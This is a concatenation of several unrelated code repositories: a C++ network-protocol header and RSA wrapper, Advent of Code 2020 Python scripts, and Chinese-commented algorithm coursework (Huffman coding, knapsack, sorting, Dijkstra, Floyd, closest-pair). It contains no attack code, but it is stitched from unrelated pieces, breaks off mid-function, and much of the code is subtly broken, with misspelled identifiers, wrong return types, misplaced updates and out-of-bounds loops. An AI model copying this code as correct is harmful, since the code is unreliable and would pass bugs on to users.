NET_PROTO_SYSTEM_0H namespace net { namespace system_0 { const cmn::UUID magic_number(); struct cmd { enum enum_cmd { request_magic, responce_magic }; }; #pragma pack(push) #pragma pack(1) class header: public net::packet::header { protected: typedef net::packet::header base; uint16_t m_cmd; public: using base::get_proto; using base::get_size; inline header(const cmd c) throw(); inline header(const cmd c, const size_t size) throw(); inline const header* get_header() const throw(); inline const cmd get_cmd() const throw(); }; #pragma pack(pop) #pragma pack(push) #pragma pack(1) template <class T> class fixed_size: private header, public T { public: using header::get_header; using header::get_proto; using header::get_size; using header::get_cmd; inline fixed_size(const cmd c) throw(); inline fixed_size(const cmd c, const T& origin) throw(); inline const void* get_data() const throw(); inline const void* get_all() const throw(); }; #pragma pack(pop) #pragma pack(push) #pragma pack(1) class request_magic: public fixed_size<cmn::UUID> { public: reques_magic() throw(); bool check() const throw(); }; #pragma pack(pop) #pragma pack(push) #pragma pack(1) class responce_magic: public fixed_size<cmn::UUID> { public: responce_magic() throw(); bool check() const throw(); }; #pragma pack(pop) //---- class header header::header(const cmd c) throw(): header( net::proto::system_0 ), m_cmd( (uint16_t)c ) { } header::header(const cmd c, const size_t size) throw(): header( net::proto::system_0, size ), m_cmd( (uint16_t)c ) { } const header* header::get_header() const throw() { return this; } const cmd header::get_cmd() const throw() { return cmd( (cmd::enum_cmd)m_cmd ); } //---- class fixed_size template <class T> fixed_size::fixed_size(const cmd c): header( c, sizeof(header) + sizeof(T) ) { } template <class T> fixed_size::fixed_size(const cmd c, const T& origin): header( c, sizeof(header) + sizeof(T) ), T( origin ) { } template <class T> const void* fixed_size::get_data() const throw() { const T* data = this; return this; } template <class T> const void* fixed_sizeLLget_all() const throw() { return this; } //---- class request_magic request_magic::reques_magic() throw(): base( cmd::reques_magic, magic_number ) { } bool request_magic::check() throw() { return T::operator == ( magic_number ); } //---- class responce_magic responce_magic::responce_magic() throw(): base( cmd::responce_magic, magic_number ) { } bool responce_magic::check() throw() { return T::operator == ( magic_number ); } }//namespace system_0 }//namespace net #endif ``` unix_main.cpp ```#include <getopt.h> #include <stdlib.h> #include <iostream> #include "sys/cfg.h" #include "net/cfg.h" #include "sys/main.h" #include "version.h" #include "cmn/pthread_cpu_time.h" static void help(std::ostream& out, int argc, char* argv[], int topic = 0) { switch(topic) { case 'c': out << "todo: man " << argv[0] << " -c|--config" << std::endl; break; case 'D': out << "todo: man " << argv[0] << " -D|--daemon" << std::endl; break; case 'v': out << "todo: man " << argv[0] << " -v|--version" << std::endl; break; default: out << "usage: " << argv[0] << " <config file name>" << std::endl; break; } } int main(int argc, char* argv[]) { int option_index = 0; int opt_help = 0; int opt_version = 0; int opt_demonize = 0; int opt_config_name = 0; int opt_default = 0; char* config_name = NULL; static const char options[] = "-:hvDc:W;"; static const struct option long_options[] = { { "help", no_argument, &opt_help, 'h' }, { "version", no_argument, &opt_version, 'v' }, { "daemon", no_argument, &opt_demonize, 'D' }, { "config", required_argument, NULL, 'c' }, { 0, 0, 0, 0 }, }; while ( true ) { int option = getopt_long( argc, argv, options, long_options, &option_index ); if ( -1 == option ) { break; } switch ( option ) { case 'h': opt_help = option; break; case 'v': opt_version = option; break; case 'D': opt_demonize = option; break; case 'c': opt_config_name = option; if (NULL != optarg) { config_name = optarg; } break; case 0: // getopt_long set var break; case 1: if (!opt_config_name && NULL != optarg) { opt_config_name = 1; config_name = optarg; } break; default: opt_default = 1; break; } } while (optind < argc) { opt_config_name = 1; config_name = argv[optind++]; } if (opt_help) { help( std::cout, argc, argv, opt_version | opt_demonize | opt_config_name ); return EXIT_SUCCESS; } if (opt_version) { version( std::cout ); return EXIT_SUCCESS; } if (opt_default) { help( std::cerr, argc, argv ); return EXIT_FAILURE; } if ( !opt_config_name || NULL == config_name ) { std::cerr << "set config file name" << std::endl; return EXIT_FAILURE; } pugi::xml_document cfgfile; pugi::xml_parse_result result = cfgfile.load_file( config_name ); pugi::xml_node cfg = cfgfile.first_child(); if ( !result || !cfg ) { std::cerr << "invalid config file" << std::endl; return EXIT_FAILURE; } try { sys::check_cfg( cfg ); net::check_cfg( cfg ); } catch (cmn::exception& e) { std::cerr << e.what() << std::endl; return EXIT_FAILURE; } //TODO: detach here return sys::run( cfg ); } ``` idata.inc ```#include <string.h> namespace ext { IData::~IData() { } bool IData::operator < (const IData& rvalue) const { if ( begin() == rvalue.begin() ) { return false; } if ( size() < rvalue.size() ) { return true; } if ( rvalue.size() < size() ) { return false; } return 0 < memcmp( begin(), rvalue.begin(), size() ); } bool IData::operator > (const IData& rvalue) const { return rvalue < *this; } bool IData::operator == (const IData& rvalue) const { return !(*this < rvalue) && !(rvalue < *this); } bool IData::operator != (const IData& rvalue) const { return !operator == ( rvalue ); } } //namespace ext ``` istring.inc ```namespace ext { strtoint istring::ToInt() const { return strtoint( *this ); } } //namespace ext ``` rsa.h ```#ifndef CRYPT_RSAH #define CRYPT_RSAH #include <stddef.h> #include <stdint.h> #include <gcrypt.h> #include <iostream> #include "ext/array.h" namespace gcrypt { namespace rsa { template <size_t keysize> class pub { protected: gcry_sexp_t m_key; public: typedef unsigned int e_t; template <class T> inline pub(const ext::array<T,keysize/8/sizeof(T)>& n, const e_t& e) { gcry_mpi_t mpi_n; gcry_error_t err; err = gcry_mpi_scan( &mpi_n, GCRYMPI_FMT_USG, &n, keysize/8, NULL ); if ( 0 != err ) { throw; } err = gcry_sexp_build( &m_key, NULL, "(public-key(rsa(n%m)(e%d)))", mpi_n, e ); if ( 0 != err ) { throw; } gcry_mpi_release( mpi_n ); } inline ~pub() { gcry_sexp_release( m_key ); } inline void dump() const { size_t size = gcry_sexp_sprint( m_key, GCRYSEXP_FMT_DEFAULT, NULL, 0 ); char* buff = new char [ size ]; //gcry_sexp_sprint( m_key, GCRYSEXP_FMT_DEFAULT, buff, size ); //gcry_sexp_sprint( m_key, GCRYSEXP_FMT_CANON, buff, size ); gcry_sexp_sprint( m_key, GCRYSEXP_FMT_ADVANCED, buff, size ); std::cout << buff << std::endl; delete[] buff; } }; class priv { }; } //namespace rsa } //namespace crypt #endif ``` idata.h ```#ifndef EXT_IDATAH #define EXT_IDATAH #include <stddef.h> namespace ext { class idata { public: typedef const char* const_iterator; inline virtual ~idata(); inline virtual bool operator < (const idata& rvalue) const; inline virtual bool operator > (const idata& rvalue) const; inline virtual bool operator == (const idata& rvalue) const; inline virtual bool operator != (const idata& rvalue) const; virtual const_iterator begin() const = 0; virtual const_iterator end() const = 0; virtual size_t size() const = 0; }; } //namespace ext #include "idata.inc" #endif ```
zcvaters/AdventOfCode2020
zcvaters/AdventOfCode2020 ReportRepairp2.py ```file = open('input.txt').readlines() input_data = [] for s in file: s.rstrip('\n ') input_data.append(s) found = False for i in input_data: for j in input_data: for k in input_data: sum = int(i) + int(j) + int(k) if(sum == 2020): found = True first = i second = j third = k multiplied = int(i) * int(j) * int(k) break print(first, "and", second, "and", third) print(multiplied) ``` PasswordPhil.py ```import fileinput character = [] password = [] args = [] for i in fileinput.input(): args.append(i.split(' ')) print(args) bounds = args[0].split('-') print(bounds[2]) #print(character) #print(password) for i in range(len(character)): value = bounds[i] #print(lower) #print(upper) #for i in bounds: #bound = i.split('-') ```
zcx5880/hello-world
zcx5880/hello-world README.md ```# hello-world just say hello just a test ```
zddhandsome/Algorithm
zddhandsome/Algorithm huffman.cpp ```#include <bits/stdc++.h> using namespace std; #define n 6 //叶子数目 #define m 2 * n - 1 //树中结点总数 typedef struct { //结点类型 double weight; //结点的权值 int parent, lchild, rchild; //双亲指针及左右孩子 } HTNode; typedef HTNode HuffmanTree[m]; // HuffmanTree是向量类型 typedef struct { //用于SelectMin函数中排序的结点类型 int id; //保存根结点在向量中的序号 double weight; //保存根结点的权值 } temp; typedef struct { //编码结点 char ch; //存储字符 char bits[n + 1]; //存放编码位串 } CodeNode; typedef CodeNode HuffmanCode[n]; void InitHuffmanTree(HuffmanTree T) { //初始化哈夫曼树 //将2n-1个结点里的三个指针均置为空(即置为-1),权值置为0 for (int i = 0; i < m; i++) { T[i].lchild = -1; T[i].rchild = -1; T[i].parent = -1; T[i].weight = 0; } } void InputWeight(HuffmanTree T) { //输入叶子权值 //读人n个叶子的权值存于向量的前n个分量中 for (int i = 0; i < n; i++) { double x; scanf("%lf", &x); T[i].weight = x; } } bool cmp(temp a, temp b) { //用于排序的比较函数 return a.weight < b.weight; } void SelectMin(HuffmanTree T, int k, int* p1, int* p2) { //在前k个结点中选择权值最小和次小的根结点,其序号分别为p1和p2 temp x[m]; // x向量为temp类型的向量 int i, j; for (i = 0, j = 0; i <= k; i++) { //寻找最小和次小根节点的过程 if (T[i].parent == -1) { //如果是根节点,则进行如下操作 x[j].id = i; //将该根节点的序号赋值给x x[j].weight = T[i].weight; //将该根节点的权值赋值给x j++; // x向量的指针后移一位 } } sort(x, x + j, cmp); //对x按照权值从小到大排序 //排序后的x向量的第一和第二个位置中存储的id是所找的根节点的序号值 *p1 = x[0].id; *p2 = x[1].id; } void CreateHuffmanTree(HuffmanTree T) {//构造哈夫曼树,T[m-1]为其根结点 int i, p1, p2; InitHuffmanTree(T); InputWeight(T); for (i = n; i < m; i++) { SelectMin(T, i - 1, &p1, &p2); T[p1].parent = T[p2].parent = i; T[i].lchild = p1; T[i].rchild = p2; T[i].weight = T[p1].weight + T[p2].weight; } } void CharSetHuffmanEncoding(HuffmanTree T, HuffmanCode H) { //根据哈夫曼树T求哈夫曼编码表H int c, p; char cd[n + 1]; int start; cd[n] = '\0'; getchar(); for (int i = 0; i < n; i++) { H[i].ch = getchar(); start = n; c = i; while ((p = T[c].parent) >= 0) { if (T[p].lchild == c) cd[--start] = '0'; else cd[--start] = '1'; c = p; } strcpy(H[i].bits, &cd[start]); } } int main() { HuffmanTree T; HuffmanCode H; printf("请输入%d个叶子结点的权值来建立哈夫曼树:\n", n); CreateHuffmanTree(T); printf("请输入%d个叶子结点所代表的字符:\n", n); CharSetHuffmanEncoding(T, H); printf("哈夫曼树已经建好,哈夫曼编码已经完成,输出如下:\n"); printf("哈夫曼树:\n"); for (int i = 0; i < m; i++) { printf("id:%d weight:%.1lf parent:%d", i, T[i].weight, T[i].parent); printf(" lchild:%d rchild:%d\n", T[i].lchild, T[i].rchild); } printf("哈夫曼编码:\n"); double wpl = 0.0; for (int i = 0; i < n; i++) { printf("id:%d ch:%c code:%s\n", i, H[i].ch, H[i].bits); wpl += strlen(H[i].bits) * T[i].weight; } printf("平均码长为:%.2lf\n", wpl); return 0; } ``` 算法期末大作业 0-1背包问题.cpp ```#include<bits/stdc++.h> using namespace std; int main() { int n = 0;//任务数量 cin>>n; int *t = new int[n]; //n项任务各自的加工时间ti int total = 0; // 加工总时间 for(int i = 0; i < n; i++) { cin>>t[i]; total += t[i]; } //二分加工时间 int half = total/2; int **dp = new int*[n];//dp[i][j]为前i件任务在加工时间不超过j时实际需要的时间 for(int i = 0; i<n; i++) { dp[i] = new int[half+1]; } int **path = new int*[n];//路径记录,path[i][j] = 1 表示任务i的加工时间不大于j并且交由本机器执行 for(int i = 0; i<n; i++) { path[i] = new int[half+1]; } //初始化第一行dp for(int i = 0; i<=half; ++i) { dp[0][i] = i; if(i>=t[0]) { dp[0][i] = t[0]; } else dp[0][i] = 0; } //核心代码 for (int i = 1; i < n; i++) { for (int j = 1; j <= half; j++) { if (j < t[i]) { dp[i][j] = dp[i - 1][j]; } else { dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - t[i]] + t[i]); path[i][j] = 1; } } } cout<<"最少加工时间:"<<total-dp[n-1][half]<<endl; //路径求解 int i = n - 1, j = half; int *flag = new int[n]; cout<<"机器1加工任务:"; while (i > 0 && j > 0) { if (path[i][j] == 1) { cout<<i+1<<" "; flag[i] = 1; j -= t[i]; } --i; } cout<<"机器2加工任务:"; for (int k = 0; k < n; k++) { if (flag[k] == 0) { cout<<k+1<<" "; } } return 0; } ``` 二分递归排序.cpp ```#include<iostream> using namespace std; int a[1000],b[1000]; int merge(int a[],int low,int mid,int high){ int j,k,h; j=low; h=mid+1; k=low; while(j<=mid&&h<=high){//将两端数据比较,放进辅助数组中 if(a[j]<a[h]){ b[k++]=a[j++]; } else { b[k++]=a[h++]; } } //将剩余数据放入辅助数组中 while(j<=mid){ b[k++]=a[j++]; } while(h<=high){ b[k++]=a[h++]; } for(k=low;k<=high;k++){//将辅助数组数据复制到对应原数组位置上 a[k]=b[k]; } } void mergeSort(int a[],int low,int high){ if(low<high){ int mid=(low+high)/2; mergeSort(a,low,mid); mergeSort(a,mid+1,high); merge(a,low,mid,high); } } int main(){ int n,low,high; cin>>n>>low>>high; for(int i=0;i<n;i++){ cin>>a[i]; } mergeSort(a,low,high); for(int i=0;i<n;i++){ cout<<a[i]<<" "; } return 0; } ``` 二分(递归版).cpp ```#include<iostream> using namespace std; int Binarysearch(int a[],int b,int low,int high){ int mid=(high+low)/2; if(a[mid]==b){ return mid; } if(a[mid]<b){ return Binarysearch(a,b,mid+1,high); } if(a[mid]>b) { return Binarysearch(a,b,low,mid-1); } } int main(){ int a[1000]; int n,b; int low,high; cin>>n; cin>>low>>high; for(int i=0;i<n;i++){ cin>>a[i]; } cin>>b; int k=Binarysearch(a,b,low,high); cout<<k; return 0; } ``` prime.cpp ```#include<stdio.h> #define MAX 10000 #define VUMN 10+1 //这里,没有id为0的点,所以id号范围是1~10 int edge[VUMN][VUMN]={/*输入的邻接矩阵*/}; int lowcost[VUMN]={0}; //记录Vnew中每个点到V中邻接点的最短边 int addvnew[VUMN]; //标记某点是否加入Vnew int adjecent[VUMN]={0}; //记录V中与Vnew最邻近的点 void prim(int start){ int sumweight = 0; int i,j,k = 0; for(i = 1;i<VUMN;i++){ //顶点是从1开始 lowcost[i] = edge[start][i]; addvnew[i] = -1; //将所有点至于Vnew之外,V之内,这里只要对应的为-1,就表示在Vnew之外 } addvnew[start] = 0; //将起始点start加入Vnew adjecent[start] = start; for(i=1;i<VUMN-1;i++){ int min = MAX; int v = -1; for(j=1;j<VUMN;j++){ if(addvnew[j]!=-1&&lowcost[j]<min) //在Vnew之外寻找最短路径 { min = lowcost[j]; v = j; } } if(v!=-1){ printf("%d %d %d\n",adjecent[v],v,lowcost[v]); addvnew[v] = 0; //将V加入到Vnew中 sumweight+=lowcost[v]; //计算路径长度之和 for(j=1;j<VUMN;j++){ if(addvnew[j]==-1&&edge[v][j]<lowcost[j]){ lowcost[j]=edge[v][j]; //此时V点加入Vnew需要更新lowcost adjecent[j] = v; } } } } printf("the minmum weight is %d\n",sumweight); } //int main(){ // int i = 0,start = 0; // int j = 0; // for(i=0;i<VUMN;i++){ // for(j=0;j<VUMN;j++){ // scanf("%d%d",&edge[i][j]); // prim(edge[i][j]); // } // } // return 0; //} ``` 选第k小元素:特定分治策略.cpp ```#include<stdio.h> #define ARRAY_SIZE 1010 void insertsort(int a[],int low,int high) { int i,j,key; for(i=low+1; i<=high; i++) { key=a[i]; for(j=i-1; j>=low&&key<a[j]; j--) { a[j+1]=a[j]; } a[j+1]=key; } } void swap(int a[],int i,int j) { int tmp=a[i]; a[i]=a[j]; a[j]=tmp; } int partition(int a[],int p,int r,int pivot) { int x,i=p-1,j,tmp; for(j=p; j<r; j++) { if(a[j]==pivot) { swap(a,j,r); } } x=a[r]; for(j=p; j<r; j++) { if(a[j]<=x) { i++; swap(a,i,j); } } swap(a,r,i+1); return i+1; } int select(int a[],int l,int r,int k) { int group,i,left,right,mid,pivot,p,left_num; if(r-l+1<=5) { insertsort(a,l,r); return a[l+k-1]; } group=(r-l+1+5)/5; for(i=0; i<group; i++) { left=l+5*i; right = (l+5*i+4)>r?r:l+5*i+4; mid=(left+right)/2; insertsort(a,left,right); swap(a,l+i,mid); } pivot=select(a,l,l+group-1,(group+1)/2); p = partition(a,l,r,pivot); left_num = p-1; if(k==left_num+1) return a[p]; else if(k<=left_num) return select(a,l,p-1,k); else return select(a,p+1,r,k-left_num-1); } int a[ARRAY_SIZE]; int n,k; int main() { printf("请输入元素总数和寻找第k小的数:"); scanf("%d %d",&n,&k); printf("请输入这些元素:") ; for(int i=0; i<n;i++) scanf("%d",&a[i]); printf("%d\n",select(a,0,n-1,k)); return 0; } ``` 顺序查找.cpp ```#include<iostream> using namespace std; int main(){ int a[1000]; int b,n; cin>>n; for(int i=0;i<n;i++){ cin>>a[i]; } cin>>b; for(int i=0;i<=n;i++){ if(b==a[i]){ cout<<i; break; } if(i==n){ cout<<"0"; } } return 0; } ``` Dijsktra算法.cpp ```#include <stdio.h> #include <stdlib.h> #define VertexMax 20 //最大顶点数为20 #define MaxInt 32767 //表示最大整数,表示 ∞ typedef char VertexType; //每个顶点数据类型为字符型 typedef struct { VertexType Vertex[VertexMax];//存放顶点元素的一维数组 int AdjMatrix[VertexMax][VertexMax];//邻接矩阵二维数组 int vexnum,arcnum;//图的顶点数和边数 }MGraph; int LocateVex(MGraph *G,VertexType v)//查找元素v在一维数组 Vertex[] 中的下标,并返回下标 { int i; for(i=0;i<G->vexnum;i++) { if(v==G->Vertex[i]) { return i; } } printf("No Such Vertex!\n"); return -1; } void CreateDN(MGraph *G) { int i,j; //1.输入顶点数和边数 printf("输入顶点个数和边数:\n"); printf("顶点数 n="); scanf("%d",&G->vexnum); printf("边 数 e="); scanf("%d",&G->arcnum); //2.输入顶点元素 printf("输入顶点元素(无需空格隔开):"); scanf("%s",G->Vertex); printf("\n"); //3.矩阵初始化 for(i=0;i<G->vexnum;i++) for(j=0;j<G->vexnum;j++) { G->AdjMatrix[i][j]=MaxInt; } //4.构建邻接矩阵 int n,m; VertexType v1,v2; int w;//v1->v2的权值 printf("输入路径及路径长度:\n"); for(i=0;i<G->arcnum;i++) { printf("输入第%d条路径信息:",i+1); scanf(" %c%c,%d",&v1,&v2,&w); n=LocateVex(G,v1); //获取v1所对应的在Vertex数组中的坐标 m=LocateVex(G,v2); //获取v2所对应的在Vertex数组中的坐标 if(n==-1||m==-1) { printf("NO This Vertex!\n"); return; } G->AdjMatrix[n][m]=w; } } void print(MGraph G) { int i,j; printf("\n-----------------------------------------------"); printf("\n 邻接矩阵:\n\n"); printf("\t "); for(i=0;i<G.vexnum;i++) printf("\t%c",G.Vertex[i]); printf("\n"); for(i=0;i<G.vexnum;i++) { printf("\t%c",G.Vertex[i]); for(j=0;j<G.vexnum;j++) { if(G.AdjMatrix[i][j]==MaxInt) printf("\t∞"); else printf("\t%d",G.AdjMatrix[i][j]); } printf("\n"); } } void displayPath(int dist[],int path[],MGraph *G,VertexType start) { int i,k,j=0; int temp[VertexMax];//临时数组 VertexType target;//目标地点 int loc=0; for(i=0;i<VertexMax;i++) temp[i]=-1; printf("\n-----------------------------------------------\n"); printf("结果展示:\n"); printf("\n\n"); //打印dist数组 printf("\tdist[i]:\n\t"); for(i=0;i<G->vexnum;i++) printf("\t%d",i); printf("\n\t"); for(i=0;i<G->vexnum;i++) { printf("\t%d",dist[i]); } printf("\n"); printf("\n\n"); //打印path数组 printf("\n\tpath[i]:\n\t"); for(i=0;i<G->vexnum;i++) printf("\t%d",i); printf("\n\t"); for(i=0;i<G->vexnum;i++) { printf("\t%d",path[i]); } printf("\n\n"); //最短路径 printf("最短路径:\n\n"); for(i=0;i<G->vexnum;i++) { loc=i; j=0; while(loc!=-1) { temp[j]=loc; loc=path[loc]; j++; } if(j-1==0&&G->Vertex[temp[j-1]]==start) { printf("\t"); printf("%c->%c:%c为起始点!",start,G->Vertex[i],G->Vertex[temp[j-1]]); } else if(j-1==0&&G->Vertex[temp[j-1]]!=start) { printf("\t"); printf("%c->%c:%c不可达%c",start,G->Vertex[i],start,G->Vertex[temp[j-1]]); } else { printf("\t"); printf("%c->%c:",start,G->Vertex[i]); for(j=j-1;j>=0;j--) { printf("%c ",G->Vertex[temp[j]]); } printf("(总路径长度:%d)",dist[i]); } for(k=0;k<20;k++) temp[k]=-1; printf("\n\n"); } } int FindMinDist(int dist[],int s[],int vexnum) { int i; int loc; int min=MaxInt+1; for(i=0;i<vexnum;i++) { if(s[i]==0)//只对s[i]=0的顶点进行查找 { if(dist[i]<min) { min=dist[i]; loc=i; } } } return loc;//返回dist中最小元素的下标 } void ShortestPath_Dijkstra(MGraph *G,VertexType start) { int i,j,num; int loc; int min; int dist[VertexMax];//最短路径长度数组 int path[VertexMax];//最短路径数组 int s[VertexMax];//代表集合S(1代表该顶点已处理,属于集合S;0代表该顶点未处理,不属于集合S,属于集合V-S) //1.初始化dist和path数组 loc=LocateVex(G,start);//获取源点的下标位置 for(i=0;i<G->vexnum;i++) { dist[i]=G->AdjMatrix[loc][i]; if(dist[i]!=MaxInt) { path[i]=loc; } else { path[i]=-1; } } //2.初始化S数组(s数组:代表集合S,1代表该元素属于集合S(已处理的顶点),0该元素不属于集合S(未处理的顶点)) for(i=0;i<G->vexnum;i++) { s[i]=0; } s[loc]=1;//代表起始点(源点)以处理完毕 num=1; //3. while(num<G->vexnum) { min=FindMinDist(dist,s,G->vexnum);//在dist数组中查找其对应s[i]=0,即未处理的最小值元素 s[min]=1;//将找到的最短边所对应的的顶点加入集合S for(i=0;i<G->vexnum;i++)//加入新的顶点后,更新dist和path数组 { if((s[i]==0)&&(dist[i]>dist[min]+G->AdjMatrix[min][i]))// { dist[i]=dist[min]+G->AdjMatrix[min][i]; path[i]=min;//min->i } } num++; } displayPath(dist,path,G,start);//展示dist数组、path数组及最短路径 } int main() { MGraph G; VertexType start; CreateDN(&G); print(G); printf("输入起始点:"); scanf(" %c",&start); printf("\n"); ShortestPath_Dijkstra(&G,start); return 0; } ``` 图的着色.cpp ```#include <bits/stdc++.h> using namespace std; const int MAXN = 1e2 + 6; int n, k, m;//n:结点数;k:边数;m:图染色的颜色数; int mp[MAXN][MAXN];//无向图 int color[MAXN];//结点染几号颜色 bool OK;//是否存在染色方案 bool judge(int x){ //判断x结点染色方案是否正确 for (int i = 1; i < x; i++) if (mp[i][x] && color[x] == color[i])//两结点相连,且颜色一样,则方案不可行 return false; return true; } void DFS(int i) { if (i > n) { OK = true; for (int j = 1; j <= n; j++)//输出可行染色方案 printf("%d%c", color[j], " \n"[j == n]); return; } for (int j = 1; j <= m; j++){ color[i] = j;//i结点染j色 if (judge(i))//可行就进入下一个结点 DFS(i + 1); color[i] = 0;//i结点回溯到无颜色状态 } } int main(){ OK = false; memset(mp, 0, sizeof(mp)); memset(color, false, sizeof(color)); scanf("%d%d%d", &n, &k, &m); for (int i = 0; i < m; i++){ int u, v; scanf("%d%d", &u, &v); mp[u][v] = mp[v][u] = 1; } printf("染色方案\n"); DFS(1); return 0; } ``` 分治法最近对问题.cpp ```#include<iostream> #include<math.h> #include<stdlib.h> #include<time.h> const int Count = 100; //重复计算的次数,解决小规模时时间太短无法得出时间的问题 using namespace std; class myPoint { public: int x; //x坐标 int y; //y坐标 }; bool compare(myPoint a,myPoint b,int type) { //若type=1,比较x坐标;否则,就比较y坐标 if(type==1) { return a.x>b.x; } else { return a.y>b.y; } } void Initial(int N,myPoint* X,myPoint* Y) { srand(N); //种子为数据的规模 int i; for(i=0; i<N; i++) { //产生随机数,X集和Y集中点的内容是一样的,只是排序的方法不同 X[i].x=rand(); X[i].y=rand(); Y[i].x=X[i].x; Y[i].y=X[i].y; } } double Distance(myPoint p1,myPoint p2) { return sqrt((p1.x-p2.x)*(p1.x-p2.x)+(p1.y-p2.y)*(p1.y-p2.y)); } void quickSort(myPoint* P,int start,int end,int type) { //若type=1,就比较x坐标;否则,就比较y坐标 if(start==end) { //只有一个点时,直接返回 return; } int primary_start = start; //保存初始的第一个首位置和尾位置 int primary_end = end; myPoint pivotKey = P[start]; //枢轴量默认为第一个数 while(start<end) { while(start<end && compare(P[end],pivotKey,type)) { //从后往前找第一个比pivotKey小的数 end--; } if(start<end) { // 填到start所指示的空位,start+1,后移一位 P[start++]= P[end]; } while(start<end && compare(pivotKey,P[start],type)) { //从前往后找第一个比pivotKey大的数 start++; } if(start<end) { //填到end所指示的空位,end-1,前移一位 P[end--]=P[start]; } } P[start]=pivotKey; //此时end=start,把pivotKey填到中间的位置 if(start-1>primary_start) //递归调用 quickSort(P,primary_start,start-1,type); if(start +1<primary_end) quickSort(P,start+1,primary_end,type); } int force(int start,int end,myPoint* P,myPoint &P1,myPoint& P2){ int i,j; if(end-start<1){ return 0.0; } double minDis = Distance(P[start],P[start+1]); P1=P[start]; P2=P[start+1]; for(i=start;i<=end;i++){ for(j=start;j<=end;j++){ if(i!=j&& Distance(P[i],P[j])<minDis) minDis = Distance(P[i],P[j]); P1 = P[i]; P2 = P[j]; } } return minDis; } double divide_conquer(int start, int end, myPoint* X, myPoint* Y, myPoint& P1, myPoint& P2) { if (end - start < 3) //当点的数量小于等于3时,用暴力法。由于是按照x坐标来划分区域,固X数组的点的数量和位置君未发生改变,故用X数组不用Y数组 return force(start, end, X,P1,P2); int mid = (start + end) / 2; //按照x坐标的排序,从中间切开 int leftLen = 0, rightLen = 0, i, j; //leftLen,和rightLen分别指示左右两边点集的个数 myPoint* YL = new myPoint[(end - start + 1) ]; //保存中线左边的点集,按照Y坐标排序 myPoint* YR = new myPoint[(end - start + 1) ]; //保存中线右边的点集,按照Y坐标排序 for (i = 0; i <= end - start; i++) { //遍历集合中每一个点,他们都是按照y的顺序进行排序的,若点的x坐标小于等于中线,则分割到左子集,否则分割到右子集 //通过此操作YL和YR中的点的坐标依旧是按照y坐标排序好的 if (Y[i].x <= X[mid].x) { YL[leftLen++] = Y[i]; } else { YR[rightLen++] = Y[i]; } } double left = divide_conquer(start, mid, X, YL,P1,P2); //递归求左边部分的最短距离 myPoint leftP1 = P1; //保存左支距离最小的两个点的坐标 myPoint leftP2 = P2; double right = divide_conquer(mid + 1, end, X, YR,P1,P2); //递归求右边部分的最短距离 double minDis; //取小的一个 if (left < right) { minDis = left; P1 = leftP1; P2 = leftP2; } else { //此时并不需要更新P1,P2的值,因为此时P1和P2的值就是右支的最小的一对点的坐标 minDis = right; } myPoint* newY = new myPoint[(end - start + 1)]; //新建一个数组,用于保存以中界线为中心,宽度为 2*minDis 的垂直带形区域内的点 int newYLen = 0; double leftBorder = X[mid].x - minDis; //区域的左边界 double rightBorder = X[mid].x + minDis; //区域的右边界 for (i = 0; i <= end - start; i++) { //遍历Y集中所有点,满足条件则加入新集合,新集合的点的依然按照y坐标排序好 if (Y[i].x >= leftBorder && Y[i].x <= rightBorder) newY[newYLen++] = Y[i]; } for (i = 0; i<newYLen; i++) { //在新集合中,判断每个点跟它后面的7个点的距离作比较,若小于则更新最小距离 for (j = 1; j <= 7; j++) { if ((i + j)<newYLen) { //加入条件,防止越界 double dis = Distance(newY[i], newY[i + j]); if (dis < minDis) { minDis = dis; P1 = newY[i]; P2 = newY[i + j]; } } } } delete YL; delete YR; delete newY; return minDis; } int main() { int N; cout << "请输入问题的规模:"; cin >> N; myPoint* X = new myPoint[N]; //X,Y两个点集的内容相同,区别在于X点集是按照x坐标顺序排序,而Y点集市安装y坐标顺序排序 myPoint* Y = new myPoint[N]; int i; clock_t start, end; double ave = 0.0; double minDis = 0.0; myPoint P1, P2; //距离最小的两个点的坐标 Initial(N, X, Y); //初始化数组 for (i = 0; i < Count; i++) { //重复count次 start = clock(); minDis += force(0, N - 1, X,P1,P2); end = clock(); ave += (double)(end - start); } ave /= Count; minDis /= Count; cout << "暴力算法: 最短距离为:" << minDis << " 时间为:" <<ave<<" ms"<< endl; cout << "最小距离的两个点的坐标为:(" << P1.x << "," << P1.y << "),(" << P2.x << "," << P2.y << ")"<<endl; ave = 0.0; minDis = 0.0; for (i = 0; i < Count; i++) { //重复count次 start = clock(); quickSort(X, 0, N - 1, 1); //将点集按照x坐标的升序排序,并保存到X数组中 quickSort(Y, 0, N - 1, 2); //将点集按照y坐标的升序排序,并保存到Y数组中 minDis+= divide_conquer(0, N - 1, X, Y,P1, P2); end = clock(); Initial(N, X, Y); //重新初始化,供下一次使用 ave += (double)(end - start); } ave /= Count; minDis /= Count; cout << "分治算法: 最短距离为:" <<minDis<< " 时间为:" << ave << " ms" << endl; cout << "最小距离的两个点的坐标为:(" << P1.x << "," << P1.y << "),(" << P2.x << "," << P2.y << ")" << endl; delete[]X; delete[]Y; return 0; } ``` floyd算法.cpp ```#include<iostream> #include<cstdio> #define MAX_VEX 100 #define INF 65535 using namespace std; struct Graph{ char vexs[MAX_VEX]; int arc[MAX_VEX][MAX_VEX]; int numvex,numarc; }; void CreateGraph(Graph &G){ int vi,vj,w; cout<<"please enter the number of vertexes and arc :\n"; cin>>G.numvex>>G.numarc; for(int i=0;i<G.numvex;i++){ printf("Please enter the NO.%d name of vex:",i+1); cin>>G.vexs[i]; } for(int i = 0;i<G.numvex;i++){ for(int j = 0;j<G.numvex;j++){ G.arc[i][j] = INF; } } cout<<endl; for(int i = 0;i<G.numarc;i++){ cout<<"Enter the subscripts and weights from vertex vi to vertex vj:"; cin>>vi>>vj>>w; G.arc[vi][vj]=w; G.arc[vj][vi]=w; } } void Floyd(Graph G){ int dis[MAX_VEX][MAX_VEX],path[MAX_VEX][MAX_VEX]; for(int i = 0;i<G.numvex;i++){ for(int j = 0;j<G.numvex;j++){ if(i!=j) dis[i][j] = G.arc[i][j]; else dis[i][j]=0; path[i][j]=j; } } for(int k = 0;k<G.numvex;k++){ for(int i = 0;i<G.numvex;i++){ for(int j = 0;j<G.numvex;j++){ if(dis[i][k]+dis[k][j]<dis[i][j]){ dis[i][j]=dis[i][k]+dis[k][j]; path[i][j] = path[i][k]; } } } } for(int i=0;i<G.numvex;i++){ for(int j = 0;j<G.numvex;j++){ printf("%3d",dis[i][j]); } cout<<endl; } } void DispalyGraph(Graph G){ for(int i = 0;i<G.numvex;i++){ printf("%c",G.vexs[i]); cout<<endl; for(int i = 0;i<G.numvex;i++){ for(int j = 